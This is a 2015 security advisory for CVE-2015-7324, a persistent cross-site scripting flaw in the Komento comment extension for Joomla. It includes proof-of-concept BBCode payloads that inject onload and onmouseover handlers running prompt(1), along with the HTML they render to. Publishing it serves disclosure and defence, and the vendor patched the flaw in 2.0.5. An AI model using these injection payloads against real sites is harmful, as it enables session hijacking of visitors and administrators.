Joomla Komento Cross Site Scripting
Posted on 06 October 2015
CVE Reference: CVE-2015-7324 Original advisory: https://www.davidsopas.com/komento-joomla-component-persistent-xss/ Author: David Sopas @dsopas Komento is a Joomla! comment extension for articles and blogs in K2, EasyBlog, ZOO, Flexicontent, VirtueMart and redShop. @http://stackideas.com/komento I found out that was possible to launch a Persistent XSS attack when adding a new comment using the WYSIWYG website and image buttons. This issue was critical in both environments - frontend and backoffice. In frontend when a user visited a page where the comment has a XSS attack it would be automatically affected. In the other side - the backoffice - when the admin checked the new comment it would be vulnerable to this attack and could get his account hijacked or something even more dangerous. What I did was to pass along the XSS vector in the [img] code and use the Javascript onload to run the exploit when image loads. Proof-of-concept using [img]: [img]http://www.robolaranja.com.br/wp-content/uploads/2014/10/Primeira-imagem-do-filme-de-Angry-Birds-%C3%A9-revelada-2.jpg" onload="prompt(1)[/img] Proof-of-concept using [url]: [url="https://www.davidsopas.com" onmouseover="prompt(1)"]Your text to link[/url] In the [img] case this will reflect the following HTML (on the frontend): <img src="http://www.robolaranja.com.br/wp-content/uploads/2014/10/Primeira-imagem-do-filme-de-Angry-Birds-%C3%A9-revelada-2.jpg" data-pagespeed-onload="prompt(1)" alt="http://www.robolaranja.com.br/wp-content/uploads/2014/10/Primeira-imagem-do-filme-de-Angry-Birds-%C3%A9-revelada-2.jpg" onload="prompt(1)" style="max-width:300px;max-height:300px;" onload="var elem=this;if (this==window) elem=document.body;elem.setAttribute('data-pagespeed-loaded', 1)"/> And... <img src="http://www.robolaranja.com.br/wp-content/uploads/2014/10/Primeira-imagem-do-filme-de-Angry-Birds-%C3%A9-revelada-2.jpg" data-pagespeed-onload="prompt(1)" alt="http://www.robolaranja.com.br/wp-content/uploads/2014/10/Primeira-imagem-do-filme-de-Angry-Birds-%C3%A9-revelada-2.jpg" onload="prompt(1)" style="max-width:300px;max-height:300px;"> In the administrator area. This Joomla! component has lot’s of Google results and can affect a large number of innocent people. A victim just by visiting the page with a malicious comment will be affected. All versions prior to 2.0.5 are affected. Vendor already patched both security issues in the new version 2.0.5 - http://stackideas.com/changelog/komento -David Sopas davidsopas.com @dsopas
